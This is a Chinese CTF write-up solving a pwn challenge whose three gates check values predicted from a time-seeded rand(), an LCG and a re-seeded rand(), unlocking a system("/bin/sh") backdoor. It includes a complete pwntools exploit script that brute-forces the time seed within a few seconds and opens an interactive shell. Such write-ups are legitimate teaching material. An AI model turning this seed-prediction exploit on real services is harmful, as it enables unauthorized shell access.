写在前面
等一下就要回家了,所以今天大概率就更一篇吧,还有这个食蜂好好看
兰斯先生的秘密
RELRO: Full RELROStack: Canary foundNX: NX enabledPIE: PIE enabledSHSTK: EnabledIBT: EnabledStripped: No有canary+PIE,要泄露这俩
看main函数逻辑
int __fastcall main(int argc, const char **argv, const char **envp){ unsigned int v3; // eax unsigned int v5; // [rsp+Ch] [rbp-4h]
init(argc, argv, envp); puts("Do you want to know srand's secret?"); puts("You have to enter 3 gates which tests your abilities!"); puts("But the key is *predict*. I guess no one can solve them. Hiahia!"); v3 = gate1(); v5 = gate2(v3); gate3(v5); puts("All gates passed!"); b4ckdo0r(); return 0;}很直白啊,过了三关就给后门
第一关
__int64 gate1(){ int v1; // [rsp+Ch] [rbp-14h] BYREF unsigned int seed; // [rsp+10h] [rbp-10h] int v3; // [rsp+14h] [rbp-Ch] unsigned __int64 v4; // [rsp+18h] [rbp-8h]
v4 = __readfsqword(0x28u); puts("=============================="); puts("Gate 1: Predict TIME"); puts("=============================="); seed = time(0); srand(seed); v3 = rand(); printf("Password:"); __isoc99_scanf("%u", &v1); if ( v3 != v1 ) { puts("You can't predict the time easily!"); exit(0); } puts("You've beaten the time and become a stronger self!"); return seed;}时间管理大师,造一个伪随机应该可以结束战斗
__int64 __fastcall gate2(unsigned int a1){ int v2; // [rsp+1Ch] [rbp-14h] BYREF unsigned int v3; // [rsp+20h] [rbp-10h] int i; // [rsp+24h] [rbp-Ch] unsigned __int64 v5; // [rsp+28h] [rbp-8h]
v5 = __readfsqword(0x28u); puts("=============================="); puts("Gate 2: Predict calculation"); puts("=============================="); v3 = a1; for ( i = 0; i <= 114513; ++i ) v3 = lcg(v3); printf("Password:"); __isoc99_scanf("%u", &v2); if ( v3 != v2 ) { puts("Well, it seems you don't know... Maybe you can learn about LCG?"); exit(0); } puts("Good job! That's one of the ways how random number works."); return v3;}第一轮的seed传递到第二轮,进行114514次lcg
然后输入比较,最后把处理后的值传递出来
第三轮则是
__int64 __fastcall gate3(unsigned int a1){ int v2; // [rsp+18h] [rbp-18h] BYREF int v3; // [rsp+1Ch] [rbp-14h] int v4; // [rsp+20h] [rbp-10h] unsigned int v5; // [rsp+24h] [rbp-Ch] unsigned __int64 v6; // [rsp+28h] [rbp-8h]
v6 = __readfsqword(0x28u); puts("=============================="); puts("Gate 3: Predict unknown"); puts("=============================="); srand(a1); v3 = rand(); v4 = rand(); v5 = rand(); printf("First random number:%u\n", v3); printf("Second random number:%u\n", v4); printf("Your answer:"); __isoc99_scanf("%u", &v2); if ( v5 != v2 ) { puts("Haha...It's random, how can you predict it?"); exit(0); } puts("Wow, random number is in fact not random,right?"); return v5;}已处理后的值作为基准及逆行三次随机,然后比较产生的最后一个随机数成功就能结束战斗了
int b4ckdo0r(){ puts("Genius!"); puts("You defeated all random gates! Here is your bonus:"); return system("/bin/sh");}很朴实的后门
扣了半小时手机我决定继续战斗
程序启动时的
time(0)通常与攻击者当前时间非常接近(网络延迟一般 0~3 秒)。因此可以枚举当前时间前后几秒作为候选种子:current = int(time.time())for delta in range(-5, 6): # 尝试 ±5 秒seed = current + delta# 用这个种子生成随机数
那怎么自己造一个随机数呢
- ctypes 调用 libc 的 srand/rand
libc直接用我自己的得了
然后是lcg的问题
def lcg(a1): return (1103515245 * a1 + 12345) & 0x7FFFFFFF标准的我直接照抄就好了
ok,现在陈述一下大致的攻击思路
第一阶段直接用time(0)直接生成的rand作为校验,第二轮把第一轮生成的数字进行114514次lcg,第三轮再生成三个随机数,取第三个校验即可
抖动机制讲解
程序用
seed = time(0); srand(seed);生成随机数。time(0)返回的是秒级时间戳。你在本地脚本中获取的current = int(time.time())和远程程序实际执行time(0)的时刻,可能不在同一秒内,原因包括:
- 网络延迟:你发送连接、数据到达服务器、服务器启动程序都需要时间。
- 服务器处理时间:程序初始化、等待输入等消耗时间。
- 时钟偏差:本地与服务器系统时钟可能有微小差异。
- 时区无关:
time(0)返回 UTC 时间戳,但本地时钟若不准也会影响。因此,远程程序实际使用的种子可能是
current - 2、current - 1、current、current + 1、current + 2中的某一个。枚举range(-2, 3)就是覆盖这 5 个可能的种子。
for delta in range(-2, 3): seed = current + delta # 猜测种子 ans1 = predict_gate1(seed) # 用该种子预测 Gate1 需要的随机数 p.recvuntil(b'Password:') # 等待提示 p.sendline(str(ans1).encode()) # 发送预测值 resp = p.recvline() # 读取响应 if b'beaten' in resp or b'stronger' in resp: seed1 = seed # 通过,记录正确的种子 break p.close() # 失败,关闭连接 p = start(host, port) # 重新连接(因为程序失败会退出)exp(0x7FFFFFFFF防坠机)
from pwn import *import ctypesimport time
try: libc = ctypes.CDLL('./libc.so.6')except OSError: libc = ctypes.CDLL(None)
def lcg(a1): return (1103515245 * a1 + 12345) & 0x7FFFFFFF
def predict_gate1(seed): libc.srand(seed) return libc.rand() & 0x7fffffff
def predict_gate2(seed): v = seed for _ in range(114514): v = lcg(v) return v
def predict_gate3(seed): libc.srand(seed) libc.rand() libc.rand() return libc.rand() & 0x7fffffff
def start(host, port): return remote(host, port) if args.REMOTE else process('./pwn')
def solve(host, port): p = start(host, port) current = int(time.time()) seed1 = None
for delta in range(-2, 3): seed = current + delta ans1 = predict_gate1(seed) p.recvuntil(b'Password:') p.sendline(str(ans1).encode()) resp = p.recvline() if b'beaten' in resp or b'stronger' in resp: seed1 = seed break p.close() p = start(host, port)
if seed1 is None: return
ans2 = predict_gate2(seed1) p.recvuntil(b'Password:') p.sendline(str(ans2).encode()) p.recvline()
ans3 = predict_gate3(ans2) p.recvuntil(b'Your answer:') p.sendline(str(ans3).encode()) p.recvline()
p.interactive()
if __name__ == '__main__': solve('127.0.0.1', 57639)搞了一中午机械臂,下午信号与系统一点都听不进去,幸好提前听了第一节课
PS:信号与系统上写WP真苏轼啊
Some information may be outdated